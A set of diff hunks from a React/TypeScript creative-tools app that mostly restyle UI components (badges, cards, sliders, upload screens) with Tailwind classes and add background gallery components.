@@ -206,7 +182,6 @@ const FALLBACK_APP_CARD_PALETTE: AppCardPalette = {
accent: "from-white/10 to-white/0",
iconBg: "bg-ui-controls border-ui-controls-border",
iconColor: "text-base-fg",
hoverStyle: "hover:border-white/30 hover:bg-white/10",
};
export const getAppCardPalette = (id: string): AppCardPalette =>
@@ -412,13 +387,13 @@ export const useEditApps = (): FullAppItem[] => {
export const getBadgeStyles = (badge?: string) => {
switch (badge) {
case "NEW":
return "border-purple-400/40 text-purple-300";
return "bg-teal-600 text-white";
case "BEST":
return "border-primary/30 text-ui-accent-ink";
return "bg-primary text-white";
case "SOON":
return "border-white/20 text-base-fg/50";
return "bg-gray-600 text-white";
case "BETA":
return "border-amber-400/40 text-amber-300";
return "bg-amber-500 text-white";
default:
return "";
}
@@ -5,6 +5,7 @@ import { GalleryItem, GalleryModal } from "@storyteller/ui-gallery-modal";
import {
MediaUploadApi,
MediaFilesApi,
downloadFileFromUrl,
} from "@storyteller/api";
import toast from "react-hot-toast";
import { v4 as uuidv4 } from "uuid";
@@ -24,7 +25,7 @@ import { twMerge } from "tailwind-merge";
import { LoadingSpinner } from "@storyteller/ui-loading-spinner";
import { SliderV2 } from "@storyteller/ui-sliderv2";
// import { Switch } from "@headlessui/react";
import { GenerateImage, downloadFileFromUrl } from "@storyteller/tauri-api";
import { GenerateImage } from "@storyteller/tauri-api";
import {
ClassyModelSelector,
useAnglesPageModelList,
@@ -481,7 +482,7 @@ export const Angles = () => {
/* ──── Upload screen ──── */
<div className="flex flex-1 items-center justify-center p-8 lg:p-16">
<div className="w-full max-w-5xl">
<div className="relative aspect-video overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="relative aspect-video overflow-hidden rounded-2xl border border-ui-panel-border bg-ui-panel shadow-lg">
<UploadEntryCard
icon={CrosshairIcon}
title="Angles"
@@ -497,7 +498,7 @@ export const Angles = () => {
disabled={isLoadingImage}
/>
{isLoadingImage && (
<div className="bg-ui-panel/80 absolute inset-0 flex items-center justify-center">
<div className="bg-ui-panel/80 absolute inset-0 flex items-center justify-center backdrop-blur-sm">
<LoadingSpinner className="h-12 w-12" />
</div>
)}
@@ -518,7 +519,7 @@ export const Angles = () => {
{/* Full-bleed image display */}
<div className="flex h-full w-full items-center justify-center px-16 pb-56 pt-16">
<div
className="relative overflow-hidden"
className="relative overflow-hidden rounded-xl shadow-lg"
style={imageContainerStyle}
>
{activeAngle ? (
@@ -583,12 +584,12 @@ export const Angles = () => {
{/* ── Floating bottom angle controls ── */}
<div className="absolute bottom-4 left-1/2 z-10 w-[calc(100%-32px)] max-w-[860px] -translate-x-1/2">
<div className="glass flex items-center gap-4 rounded-none px-4 lg:gap-5 lg:px-5">
<div className="glass flex items-center gap-4 rounded-xl px-4 lg:gap-5 lg:px-5">
{/* Orbit sphere */}
<div className="relative shrink-0 px-5 py-5">
<button
onClick={() => handleTiltStep(1)}
className="absolute left-1/2 top-0 z-10 -translate-x-1/2 rounded-[3px] p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
className="absolute left-1/2 top-0 z-10 -translate-x-1/2 p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
>
<ChevronUpIcon
@@ -596,7 +597,7 @@ export const Angles = () => {
</button>
<button
onClick={() => handleTiltStep(-1)}
className="absolute bottom-0 left-1/2 z-10 -translate-x-1/2 rounded-[3px] p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
className="absolute bottom-0 left-1/2 z-10 -translate-x-1/2 p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
>
<ChevronDownIcon
@@ -604,7 +605,7 @@ export const Angles = () => {
</button>
<button
onClick={() => handleRotationStep(-1)}
className="absolute left-0 top-1/2 z-10 -translate-y-1/2 rounded-[3px] p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
className="absolute left-0 top-1/2 z-10 -translate-y-1/2 p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
>
<ChevronLeftIcon
@@ -612,7 +613,7 @@ export const Angles = () => {
</button>
<button
onClick={() => handleRotationStep(1)}
className="absolute right-0 top-1/2 z-10 -translate-y-1/2 rounded-[3px] p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
className="absolute right-0 top-1/2 z-10 -translate-y-1/2 p-1 text-base-fg/40 transition-colors hover:text-base-fg/80"
>
<ChevronRightIcon
@@ -632,7 +633,7 @@ export const Angles = () => {
{/* Sliders group */}
<div className="flex min-w-0 flex-1 flex-col gap-2">
<div className="flex items-center gap-3">
<span className="w-16 shrink-0 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<span className="w-14 shrink-0 text-xs font-medium text-base-fg">
Rotation
</span>
<div className="min-w-0 flex-1">
@@ -645,13 +646,13 @@ export const Angles = () => {
suffix="°"
/>
</div>
<span className="w-10 shrink-0 text-left font-mono text-xs tabular-nums text-base-fg/70">
<span className="w-10 shrink-0 text-left text-xs tabular-nums text-base-fg/70">
{rotationToDisplay(angleConfig.rotation)}°
</span>
</div>
<div className="flex items-center gap-3">
<span className="w-16 shrink-0 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<span className="w-14 shrink-0 text-xs font-medium text-base-fg">
Tilt
</span>
<div className="min-w-0 flex-1">
@@ -664,13 +665,13 @@ export const Angles = () => {
suffix="°"
/>
</div>
<span className="w-9 shrink-0 text-left font-mono text-xs tabular-nums text-base-fg/70">
<span className="w-9 shrink-0 text-left text-xs tabular-nums text-base-fg/70">
{angleConfig.tilt}°
</span>
</div>
<div className="flex items-center gap-3">
<span className="w-16 shrink-0 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<span className="w-14 shrink-0 text-xs font-medium text-base-fg">
Zoom
</span>
<div className="min-w-0 flex-1">
@@ -682,7 +683,7 @@ export const Angles = () => {
onChange={handleZoomSlider}
/>
</div>
<span className="w-9 shrink-0 text-left font-mono text-xs tabular-nums text-base-fg/70">
<span className="w-9 shrink-0 text-left text-xs tabular-nums text-base-fg/70">
{angleConfig.zoom}
</span>
</div>
@@ -23,35 +23,28 @@ export const AppsIndexPage = () => {
// flush against the right edge; horizontal padding lives on the inner
// wrapper instead.
<div className="fixed inset-0 overflow-y-auto bg-ui-background pt-[56px] text-base-fg">
<main className="mx-auto w-full max-w-6xl px-5 pb-20 pt-8 sm:px-8 sm:pt-12">
<p className="hud-label mb-4 text-ui-accent-ink">
Your creative workspace
</p>
<h1 className="max-w-3xl font-display text-3xl leading-tight tracking-tight sm:text-5xl">
What will you <span className="text-ui-accent-ink">craft</span> today?
<main className="mx-auto max-w-6xl px-6 pb-20 pt-12 sm:pt-20">
<h1 className="mx-auto text-center text-4xl font-semibold tracking-tight sm:text-6xl">
What will you <span className="text-primary">craft</span> today?
</h1>
<p className="mt-4 max-w-xl text-sm leading-relaxed text-base-fg/70 sm:text-base">
Start with an idea. Choose a tool to bring it to life.
<p className="mx-auto mt-3 max-w-xl text-center text-lg text-base-fg/55">
Every tool in your toolbox - pick one and start creating.
</p>
{categories.map((category, index) => (
<section
key={category.title}
className={twMerge(
"border-t border-ui-border pt-6",
index === 0 ? "mt-8 sm:mt-10" : "mt-10",
)}
>
<h2 className="hud-label mb-4 text-base-fg/70">
{category.title}
</h2>
<div className="grid auto-rows-fr gap-3 md:grid-cols-2 xl:grid-cols-3">
{category.apps.map((app) => (
<AppCard key={app.id} app={app} />
))}
</div>
</section>
))}
<div className="mt-12 space-y-10">
{categories.map((category) => (
<section key={category.title}>
<h2 className="mb-4 text-sm font-semibold text-base-fg/85">
{category.title}
</h2>
<div className="grid auto-rows-min gap-3 sm:grid-cols-2 lg:grid-cols-3">
{category.apps.map((app) => (
<AppCard key={app.id} app={app} />
))}
</div>
</section>
))}
</div>
</main>
</div>
);
@@ -66,14 +59,27 @@ function AppCard({ app }: { app: FullAppItem }) {
onClick={() => goToApp(app.action)}
disabled={!enabled}
className={twMerge(
"group relative flex h-full rounded-[3px] border border-ui-border bg-white/5 p-5 text-left transition-colors duration-150 focus-visible:border-primary",
enabled ? twMerge("cursor-pointer", palette.hoverStyle) : "cursor-default opacity-60",
"group relative block overflow-hidden rounded-2xl bg-ui-controls/50 p-5 text-left transition-colors",
enabled
? "cursor-pointer hover:bg-ui-controls"
: "cursor-default opacity-60",
)}
>
<div className="relative flex w-full items-start gap-4">
{/* Hover accent — gradient wash matching the app's hue. */}
{enabled && (
<div
aria-hidden
className={twMerge(
"pointer-events-none absolute -inset-px rounded-2xl bg-gradient-to-br opacity-0 transition-opacity group-hover:opacity-100",
palette.accent,
)}
/>
)}
<div className="relative flex items-start gap-4">
<div
className={twMerge(
"flex h-10 w-10 shrink-0 items-center justify-center border",
"flex h-11 w-11 shrink-0 items-center justify-center rounded-xl border",
palette.iconBg,
palette.iconColor,
)}
@@ -82,17 +88,15 @@ function AppCard({ app }: { app: FullAppItem }) {
</div>
<div className="min-w-0 flex-1">
<div className="flex items-center justify-between gap-2">
<div className="flex min-w-0 flex-wrap items-center gap-2">
<h3 className="text-base font-bold uppercase tracking-tight text-ui-ink">
<div className="flex min-w-0 items-center gap-2">
<h3 className="truncate text-base font-semibold text-base-fg">
{app.label}
</h3>
{app.badge && (
<span
className={twMerge(
"shrink-0 border px-1.5 py-1 font-mono text-[9px] font-medium leading-none tracking-wider",
app.badge === "SOON"
? getBadgeStyles(app.badge)
: "border-primary/30 text-ui-accent-ink",
"shrink-0 rounded-full px-1.5 py-0.5 text-[10px] font-bold uppercase leading-none tracking-wider",
getBadgeStyles(app.badge),
)}
>
{app.badge}
@@ -100,12 +104,12 @@ function AppCard({ app }: { app: FullAppItem }) {
)}
</div>
{enabled && (
<span className="flex h-7 w-7 shrink-0 items-center justify-center rounded-[3px] border border-white/15 text-white/40 transition-colors duration-150 group-hover:border-white/40 group-hover:text-white">
<ArrowRightIcon className="text-xs" />
</span>
<ArrowRightIcon
className="text-sm text-base-fg/40 transition-all group-hover:translate-x-0.5 group-hover:text-base-fg/70" />
)}
</div>
<p className="mt-2 text-sm leading-relaxed text-base-fg/70">
<p className="mt-1 text-sm leading-snug text-base-fg/55">
{app.description}
</p>
</div>
@@ -8,6 +8,7 @@ import {
FilterMediaClasses,
} from "@storyteller/api";
import { useOmniGenAudioModels, useAudioCostEstimate } from "@storyteller/omni-gen";
import BackgroundGallery from "../PageImage/BackgroundGallery";
import {
galleryModalLightboxImage,
galleryModalLightboxMediaId,
@@ -148,6 +149,7 @@ const CreateAudio = () => {
hasContent={hasContent}
emptyStateTitle="Create Audio"
emptyStateSubtitle="Describe a song, a sound, or a sample"
background={<BackgroundGallery />}
bottomOffset={promptHeight + 40}
listContent={
<DesktopGenerationGallery
@@ -1,9 +1,11 @@
import { useCallback, useEffect, useRef, useState } from "react";
import { SparklesIcon } from "lucide-react";
import { toast } from "@storyteller/ui-toaster";
import { UploadImageMedia, UploadVideoMedia } from "@storyteller/api";
import {
PromptBoxVFX,
SubTabStrip,
TruchetPattern,
VFXResultCard,
VFXShowcaseView,
newIdempotencyToken,
@@ -12,7 +14,6 @@ import {
VFX_NOT_AVAILABLE_ERROR,
VFX_SHOWCASE,
} from "@storyteller/ui-vfx";
import { CreateEmptyState } from "~/components/generation-feed/CreateEmptyState";
export const PageBackgroundChange = () => {
const subTab = useVFXStore((s) => s.subTab);
@@ -112,17 +113,34 @@ export const PageBackgroundChange = () => {
className="relative flex flex-1 items-center justify-center px-6"
style={{ paddingBottom: Math.max(promptBoxHeight + 36, 240) }}
>
<CreateEmptyState
title="No background changes yet"
subtitle="Upload a source video and a reference image, then optionally add a prompt."
/>
<div
aria-hidden
className="pointer-events-none absolute inset-0 z-0"
style={{
maskImage:
"radial-gradient(ellipse 60% 60% at 50% 45%, black 30%, transparent 85%)",
WebkitMaskImage:
"radial-gradient(ellipse 60% 60% at 50% 45%, black 30%, transparent 85%)",
}}
>
<TruchetPattern
intensity={0.8}
className="absolute inset-0 h-full w-full"
/>
</div>
<div className="relative z-10">
<EmptyState
title="No background changes yet"
subtitle="Upload a source video and a reference image, then optionally add a prompt."
/>
</div>
</div>
) : (
<div
className="flex-1 overflow-y-auto"
style={{ paddingBottom: Math.max(promptBoxHeight + 36, 240) }}
>
<div className="flex flex-col items-center gap-10 px-6 pt-6">
<div className="flex flex-col gap-10 px-6 pt-6">
{history.map((r) => (
<VFXResultCard
key={r.id}
@@ -137,7 +155,6 @@ export const PageBackgroundChange = () => {
failureReason: r.failureReason,
}}
onDismiss={() => dismissResult(r.id)}
className="w-[min(960px,calc(100vw-32px))]"
/>
))}
</div>
@@ -146,7 +163,7 @@ export const PageBackgroundChange = () => {
<div
aria-hidden
className="pointer-events-none fixed bottom-0 left-0 right-0 z-20 h-72 bg-gradient-to-t from-ui-background via-ui-background/85 to-transparent"
className="via-ui-background/85 pointer-events-none fixed bottom-0 left-0 right-0 z-20 h-72 bg-gradient-to-t from-ui-background to-transparent"
/>
<div
@@ -167,4 +184,19 @@ export const PageBackgroundChange = () => {
);
};
interface EmptyStateProps {
title: string;
subtitle: string;
}
const EmptyState = ({ title, subtitle }: EmptyStateProps) => (
<div className="flex max-w-md flex-col items-center gap-4 text-center">
<div className="flex h-16 w-16 items-center justify-center rounded-2xl bg-base-fg/5 ring-1 ring-base-fg/10">
<SparklesIcon className="text-2xl" />
</div>
<h3 className="text-2xl font-bold text-base-fg">{title}</h3>
<p className="max-w-xs text-sm text-base-fg/60">{subtitle}</p>
</div>
);
export default PageBackgroundChange;
@@ -1,5 +1,5 @@
import { ImagesIcon, MaximizeIcon, PencilIcon } from "lucide-react";
import { downloadFileFromUrl } from "@storyteller/tauri-api";
import { downloadFileFromUrl } from "libs/api/src/lib/LocalApi";
import { GalleryModal, GalleryItem } from "@storyteller/ui-gallery-modal";
import { useState } from "react";
import toast from "react-hot-toast";
@@ -0,0 +1,17 @@
.stretch-background-image {
background-image:
linear-gradient(
0deg,
rgb(var(--st-photo-tint-rgb) / var(--st-photo-tint-alpha)),
rgb(var(--st-photo-tint-rgb) / var(--st-photo-tint-alpha))
),
url("/resources/images/digital-mountains.webp");
background-repeat: no-repeat;
background-size: cover;
position: fixed;
right: 0;
bottom: 0;
min-width: 100%;
min-height: 100%;
filter: grayscale(var(--st-photo-grayscale));
}
@@ -0,0 +1,16 @@
import "./Background.css";
export default function GalleryBackground() {
return (
<>
<div className="pointer-events-none fixed inset-0 z-[1] overflow-hidden bg-[radial-gradient(50%_50%_at_50%_50%,_transparent_49%,_rgb(var(--st-controls-rgb)_/_var(--st-gallery-vignette-alpha))_100%)]" />
<div className="fixed inset-0 z-0 overflow-hidden">
<div
className={`stretch-background-image h-full w-full opacity-30 transition-opacity duration-1000`}
>
<div className="absolute inset-0 grid grid-cols-5 gap-6 px-6 opacity-35" />
</div>
</div>
</>
);
}
@@ -2,6 +2,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import { JobContextType } from "@storyteller/common";
import { PromptBoxImage } from "@storyteller/ui-promptbox";
import { UploadImageMedia, FilterMediaClasses } from "@storyteller/api";
import BackgroundGallery from "./BackgroundGallery";
import {
useTextToImagePageModelList,
ModelPage,
@@ -157,6 +158,7 @@ const TextToImage = ({ imageMediaId, imageUrl }: TextToImageProps) => {
hasContent={hasContent}
emptyStateTitle="Create Image"
emptyStateSubtitle="Add a prompt, then generate"
background={<BackgroundGallery />}
bottomOffset={promptHeight + 40}
listContent={
<DesktopGenerationGallery
@@ -6,6 +6,7 @@ export const ImageTo3DObject = () => {
title="Generate 3D Object"
subtitle="Transform your image into a 3D object with textures."
variant="object"
backgroundImage="/resources/images/floating-cubes.webp"
/>
);
};
@@ -6,6 +6,7 @@ export const ImageTo3DWorld = () => {
title="Image to 3D World"
subtitle="Generate 3D worlds from an image with World Labs"
variant="world"
backgroundImage="/resources/images/room-of-items.webp"
/>
);
};
@@ -2,7 +2,7 @@ import { useState, useRef, useEffect } from "react";
import { DropletIcon, ImagesIcon, RotateCwIcon } from "lucide-react";
import { Button } from "@storyteller/ui-button";
import { GalleryItem, GalleryModal } from "@storyteller/ui-gallery-modal";
import { downloadFileFromUrl } from "@storyteller/tauri-api";
import { downloadFileFromUrl } from "@storyteller/api";
import { UploadEntryCard } from "../../components/media/UploadEntryCard";
import toast from "react-hot-toast";
@@ -104,7 +104,7 @@ export const ImageWatermarkRemover = () => {
return (
<>
<div className="flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-background text-base-fg">
<div className="bg-ui-panel-gradient flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-panel text-base-fg">
<div className="flex-1 overflow-y-auto">
<main
className={
@@ -115,7 +115,7 @@ export const ImageWatermarkRemover = () => {
>
{!imageUrl ? (
<div className="w-full max-w-5xl">
<div className="aspect-video overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="aspect-video overflow-hidden rounded-2xl border border-ui-panel-border bg-ui-background shadow-lg">
<UploadEntryCard
icon={DropletIcon}
title="Remove Image Watermark"
@@ -133,7 +133,7 @@ export const ImageWatermarkRemover = () => {
</div>
) : (
<div className="flex w-full max-w-5xl flex-col gap-5">
<div className="w-full overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="w-full overflow-hidden rounded-2xl border border-ui-panel-border bg-ui-background shadow-lg">
<div className="relative w-full bg-black">
<Button
icon={RotateCwIcon}
@@ -142,7 +142,7 @@ export const ImageWatermarkRemover = () => {
setImageUrl("");
setImageDimensions(null);
}}
className="absolute right-3 top-3 z-10 border border-red/50 px-3 py-1.5 text-sm hover:border-red/80 hover:bg-red/80"
className="absolute right-3 top-3 z-10 border-2 border-red/50 px-3 py-1.5 text-sm hover:border-red/80 hover:bg-red/80"
>
Switch Image
</Button>
@@ -151,7 +151,7 @@ export const ImageWatermarkRemover = () => {
ref={imageRef}
src={imageUrl}
alt="Selected pic"
className="max-h-[70vh] max-w-full object-contain"
className="max-h-[70vh] max-w-full rounded-lg object-contain shadow-2xl"
onLoad={(e) => {
const img = e.currentTarget;
setImageDimensions({
@@ -177,12 +177,12 @@ export const ImageWatermarkRemover = () => {
</Button>
</div>
<div className="border border-ui-panel-border bg-ui-panel p-6">
<div className="rounded-2xl border border-ui-panel-border bg-ui-background p-6 shadow-lg">
<div>
<div className="mb-4 flex items-center gap-2 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<div className="mb-4 flex items-center gap-2 text-xs font-semibold uppercase tracking-wider text-base-fg/60">
<ImagesIcon
className="text-ui-accent-ink" />
className="text-primary" />
Image Information
</div>
{imageDimensions ? (
@@ -191,7 +191,7 @@ export const ImageWatermarkRemover = () => {
<span className="font-medium text-base-fg/70">
Resolution
</span>
<span className="font-mono text-lg font-semibold tabular-nums text-base-fg">
<span className="font-mono text-lg font-bold text-base-fg">
{imageDimensions.width} × {imageDimensions.height}
</span>
</div>
@@ -199,7 +199,7 @@ export const ImageWatermarkRemover = () => {
<span className="font-medium text-base-fg/70">
Aspect Ratio
</span>
<span className="font-mono text-lg font-semibold tabular-nums text-base-fg">
<span className="font-mono text-lg font-bold text-base-fg">
{(
imageDimensions.width / imageDimensions.height
).toFixed(2)}
@@ -2,6 +2,7 @@ import { useState, useRef, useEffect, useCallback, useMemo } from "react";
import { DownloadIcon, EyeIcon, ImagesIcon, PlusIcon, UploadIcon, WandSparklesIcon } from "lucide-react";
import { Button } from "@storyteller/ui-button";
import { GalleryItem, GalleryModal } from "@storyteller/ui-gallery-modal";
import { downloadFileFromUrl } from "@storyteller/api";
import toast from "react-hot-toast";
import { v4 as uuidv4 } from "uuid";
import { UploadEntryCard } from "../../components/media/UploadEntryCard";
@@ -12,7 +13,6 @@ import {
import {
EnqueueImageBgRemoval,
useCanvasBgRemovedEvent,
downloadFileFromUrl,
} from "@storyteller/tauri-api";
import { PopoverMenu, PopoverItem } from "@storyteller/ui-popover";
import { twMerge } from "tailwind-merge";
@@ -543,12 +543,12 @@ export const RemoveBackground = () => {
return (
<>
<div className="flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-panel text-base-fg">
<div className="bg-ui-panel-gradient flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-panel text-base-fg">
<div className="flex flex-1 items-center justify-center overflow-y-auto p-16">
<main className="flex h-full w-full flex-col items-center justify-center">
{showUploadScreen ? (
<div className="w-full max-w-5xl">
<div className="relative aspect-video overflow-hidden border border-ui-panel-border bg-ui-background">
<div className="relative aspect-video overflow-hidden rounded-2xl border border-ui-panel-border bg-ui-background shadow-lg">
<UploadEntryCard
icon={WandSparklesIcon}
title="Remove Background"
@@ -564,7 +564,7 @@ export const RemoveBackground = () => {
disabled={isLoadingImage}
/>
{isLoadingImage && (
<div className="bg-ui-panel/80 absolute inset-0 flex items-center justify-center">
<div className="bg-ui-panel/80 absolute inset-0 flex items-center justify-center backdrop-blur-sm">
<LoadingSpinner className="h-12 w-12" />
</div>
)}
@@ -580,9 +580,9 @@ export const RemoveBackground = () => {
onMouseDown={handleCompareMouseDown}
disabled={!activeImage || isProcessing}
className={twMerge(
"border-ui-controls-border select-none border px-6 py-2.5 text-sm font-semibold transition-all",
"border-ui-controls-border select-none border-2 px-6 py-2.5 text-sm font-semibold transition-all",
isHoldingCompare
? "border-white bg-white/10"
? "border-primary bg-primary/20"
: "border-ui-controls-border",
(!activeImage || isProcessing) &&
"cursor-not-allowed opacity-50",
@@ -598,7 +598,7 @@ export const RemoveBackground = () => {
onClick={handleDownload}
disabled={!activeImage || isProcessing}
className={twMerge(
"select-none px-6 py-2.5 text-sm font-semibold transition-all",
"select-none border-2 border-primary px-6 py-2.5 text-sm font-semibold transition-all",
(!activeImage || isProcessing) &&
"cursor-not-allowed opacity-50",
)}
@@ -610,11 +610,11 @@ export const RemoveBackground = () => {
<div className="flex flex-1 items-center justify-center">
<div
className="relative overflow-hidden border border-ui-panel-border"
className="relative overflow-hidden rounded-2xl border border-ui-panel-border shadow-xl"
style={imageContainerStyle}
>
{isProcessing && (
<div className="absolute inset-0 z-20 flex flex-col items-center justify-center bg-black/70">
<div className="absolute inset-0 z-20 flex flex-col items-center justify-center bg-black/60 backdrop-blur-sm">
{currentOriginalUrl && (
<img
src={currentOriginalUrl}
@@ -624,12 +624,12 @@ export const RemoveBackground = () => {
)}
<div className="relative z-10 flex flex-col items-center gap-4">
<div className="relative">
<div className="h-16 w-16 animate-spin rounded-full border-2 border-white/20 border-t-white" />
<div className="h-16 w-16 animate-spin rounded-full border-4 border-primary-500/30 border-t-primary-500" />
<WandSparklesIcon
className="absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 text-2xl text-white" />
className="absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 text-2xl text-primary-400" />
</div>
<span className="font-mono text-sm font-semibold uppercase tracking-[0.12em] text-white">
<span className="text-lg font-semibold text-white">
Removing Background...
</span>
</div>
@@ -679,7 +679,7 @@ export const RemoveBackground = () => {
<div
ref={progressBarRef}
className="absolute bottom-0 top-0 w-1 bg-white"
className="absolute bottom-0 top-0 w-1 bg-primary-500 shadow-lg shadow-primary-500/50"
style={{
left: `${revealProgressRef.current}%`,
transform: "translateX(-50%)",
@@ -695,7 +695,7 @@ export const RemoveBackground = () => {
</div>
</div>
<div className="mt-auto flex shrink-0 items-center gap-3 border border-ui-panel-border bg-ui-background p-2">
<div className="mt-auto flex shrink-0 items-center gap-3 rounded-xl border border-ui-panel-border bg-ui-background p-2">
<input
type="file"
ref={fileInputRef}
@@ -711,7 +711,7 @@ export const RemoveBackground = () => {
position="top"
showIconsInList
buttonClassName={twMerge(
"h-14 w-14 rounded-[3px] border border-dashed border-white/20 bg-white/[0.015] hover:border-white/40 hover:bg-white/5",
"h-14 w-14 border-2 border-dashed border-ui-panel-border bg-ui-controls/50",
isProcessing && "cursor-not-allowed opacity-50",
)}
triggerIcon={
@@ -724,10 +724,10 @@ export const RemoveBackground = () => {
key={img.id}
onClick={() => handleThumbnailClick(img)}
className={twMerge(
"relative h-14 w-14 overflow-hidden rounded-[3px] border transition-all",
"relative h-14 w-14 overflow-hidden rounded-lg border-2 transition-all",
img.id === activeImageId
? "border-white"
: "border-white/15 hover:border-white/30",
? "border-primary ring-2 ring-primary/30"
: "border-transparent hover:border-primary/50",
)}
>
<img
@@ -40,11 +40,11 @@ const formatTime = (s: number): string => {
const EmptyState = ({ onAdd }: { onAdd: () => void }) => (
<div className="flex h-[calc(100vh-56px)] w-full items-center justify-center bg-ui-background">
<div className="flex flex-col items-center gap-4 text-center">
<div className="flex h-20 w-20 items-center justify-center border border-white/15 bg-white/[0.015]">
<div className="flex h-20 w-20 items-center justify-center rounded-2xl bg-white/5">
<ImagesIcon className="text-4xl text-base-fg/40" />
</div>
<div>
<p className="font-display text-2xl tracking-tight text-base-fg">No shots yet</p>
<p className="text-lg font-semibold text-base-fg">No shots yet</p>
<p className="mt-1 text-sm text-base-fg/50">Add your first shot to get started</p>
</div>
<Button variant="primary" icon={PlusIcon} onClick={onAdd}>
@@ -68,63 +68,63 @@ const MetadataEditor = ({ board, onUpdate, onDelete, onUpload, onSketch }: Metad
<aside className="flex w-[280px] shrink-0 flex-col border-r border-ui-panel-border bg-ui-panel">
<div className="flex-1 overflow-y-auto p-4">
<div className="flex flex-col gap-3">
<div className="hud-label text-base-fg/40">
<div className="text-xs font-medium uppercase tracking-wider text-base-fg/40">
Shot {board.shotNumber}
</div>
<div>
<label className="mb-1 block font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">Title</label>
<label className="mb-1 block text-xs text-base-fg/60">Title</label>
<input
type="text"
value={board.title}
onChange={(e) => onUpdate({ title: e.target.value })}
placeholder="Shot title"
className="w-full rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-white/60 focus:outline-none"
className="w-full rounded-md border border-ui-panel-border bg-ui-background px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-primary focus:outline-none"
/>
</div>
<div>
<label className="mb-1 block font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">Dialogue</label>
<label className="mb-1 block text-xs text-base-fg/60">Dialogue</label>
<textarea
value={board.dialogue}
onChange={(e) => onUpdate({ dialogue: e.target.value })}
placeholder="Character dialogue..."
rows={3}
className="w-full resize-none rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-white/60 focus:outline-none"
className="w-full resize-none rounded-md border border-ui-panel-border bg-ui-background px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-primary focus:outline-none"
/>
</div>
<div>
<label className="mb-1 block font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">Action</label>
<label className="mb-1 block text-xs text-base-fg/60">Action</label>
<textarea
value={board.action}
onChange={(e) => onUpdate({ action: e.target.value })}
placeholder="On-screen action..."
rows={3}
className="w-full resize-none rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-white/60 focus:outline-none"
className="w-full resize-none rounded-md border border-ui-panel-border bg-ui-background px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-primary focus:outline-none"
/>
</div>
<div>
<label className="mb-1 block font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">Notes</label>
<label className="mb-1 block text-xs text-base-fg/60">Notes</label>
<textarea
value={board.notes}
onChange={(e) => onUpdate({ notes: e.target.value })}
placeholder="Director notes..."
rows={3}
className="w-full resize-none rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-white/60 focus:outline-none"
className="w-full resize-none rounded-md border border-ui-panel-border bg-ui-background px-3 py-2 text-sm text-base-fg placeholder:text-base-fg/30 focus:border-primary focus:outline-none"
/>
</div>
<div>
<label className="mb-1 block font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">Duration (seconds)</label>
<label className="mb-1 block text-xs text-base-fg/60">Duration (seconds)</label>
<input
type="number"
min={0}
step={0.5}
value={board.duration}
onChange={(e) => onUpdate({ duration: parseFloat(e.target.value) || 0 })}
className="w-full rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 font-mono text-sm tabular-nums text-base-fg focus:border-white/60 focus:outline-none"
className="w-full rounded-md border border-ui-panel-border bg-ui-background px-3 py-2 text-sm text-base-fg focus:border-primary focus:outline-none"
/>
</div>
</div>
@@ -170,7 +170,7 @@ const MainPreview = ({
style={{ pointerEvents: "none" }}
/>
{board.title && (
<div className="absolute bottom-4 left-1/2 -translate-x-1/2 border border-white/15 bg-black/70 px-4 py-2">
<div className="absolute bottom-4 left-1/2 -translate-x-1/2 rounded-lg bg-black/60 px-4 py-2 backdrop-blur-sm">
<p className="text-sm font-medium text-white">{board.title}</p>
</div>
)}
@@ -178,7 +178,7 @@ const MainPreview = ({
) : (
<button
onClick={onUploadClick}
className="flex flex-col items-center gap-3 border border-dashed border-white/20 bg-white/[0.015] p-12 text-base-fg/40 transition-colors hover:border-white/40 hover:bg-white/5 hover:text-base-fg/70"
className="flex flex-col items-center gap-3 rounded-xl border-2 border-dashed border-ui-panel-border p-12 text-base-fg/40 transition-colors hover:border-primary/50 hover:text-base-fg/70"
>
<UploadIcon className="text-3xl" />
<span className="text-sm">Click to upload an image</span>
@@ -332,9 +332,9 @@ const SketchCanvas = ({ initialImageDataUrl, onSave, onExit }: SketchCanvasProps
onClick={() => setTool(t)}
title={label}
className={twMerge(
"flex h-8 w-8 items-center justify-center rounded-[3px] transition-colors",
"flex h-8 w-8 items-center justify-center rounded-md transition-colors",
tool === t
? "bg-white text-black"
? "bg-primary text-white"
